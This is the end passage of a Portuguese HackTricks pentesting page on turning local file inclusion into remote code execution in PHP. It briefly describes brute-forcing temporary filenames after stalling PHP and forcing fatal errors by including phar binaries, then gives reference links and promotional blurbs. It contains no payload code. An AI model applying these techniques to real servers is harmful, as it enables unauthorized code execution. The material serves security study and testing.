[lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md) {% endcontent-ref %} ### Através de espera eterna + força bruta Se você puder abusar da LFI para **fazer upload de arquivos temporários** e fazer o servidor **travar** a execução do PHP, então você poderia **forçar nomes de arquivos por horas** para encontrar o arquivo temporário: {% content-ref url="lfi2rce-via-eternal-waiting.md" %} [lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md) {% endcontent-ref %} ### Para Erro Fatal Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo duas vezes para lançar esse erro). **Eu não sei como isso é útil, mas pode ser.**\ _Mesmo se você causar um Erro Fatal do PHP, os arquivos temporários do PHP enviados são excluídos._
## Referências * [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\ * [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) {% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server para se comunicar com hackers experientes e caçadores de bugs! **Percepções de Hacking**\ Engaje-se com conteúdo que mergulha na emoção e desafios do hacking **Notícias de Hacking em Tempo Real**\ Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real **Últimos Anúncios**\ Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma **Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.